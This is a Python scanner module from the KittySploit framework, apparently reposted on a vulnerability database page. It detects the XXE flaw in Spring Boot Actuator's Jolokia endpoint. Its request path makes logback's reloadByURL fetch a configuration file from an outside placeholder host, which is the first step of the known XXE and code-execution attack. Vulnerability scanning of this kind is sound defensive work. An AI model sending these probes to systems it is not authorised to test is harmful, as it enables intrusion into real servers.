Spring Boot Actuators (Jolokia) XXE Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to perform an XML Extern."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Spring Boot Actuators (Jolokia) XXE Detection',
'description': "A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to perform an XML External Entities (XXE) attack and include content stored on a remote server as if it was its own. This has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine.",
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'vulnerability', 'springboot', 'jolokia', 'xxe', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.veracode.com/blog/research/exploiting-spring-boot-actuators',
'https://github.com/mpgn/Spring-Boot-Actuator-Exploit',
],
}
def run(self):
for path in ('/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml', '/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
body_all = ('http:\\/\\/nonexistent:31337\\/logback.xml', 'reloadByURL', 'JoranException',)
if (all(m in body for m in body_all)):
self.set_info(
severity='high',
reason="Spring Boot Actuators (Jolokia) XXE detected",
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
6.2Medium risk
Vulners AI Score6.2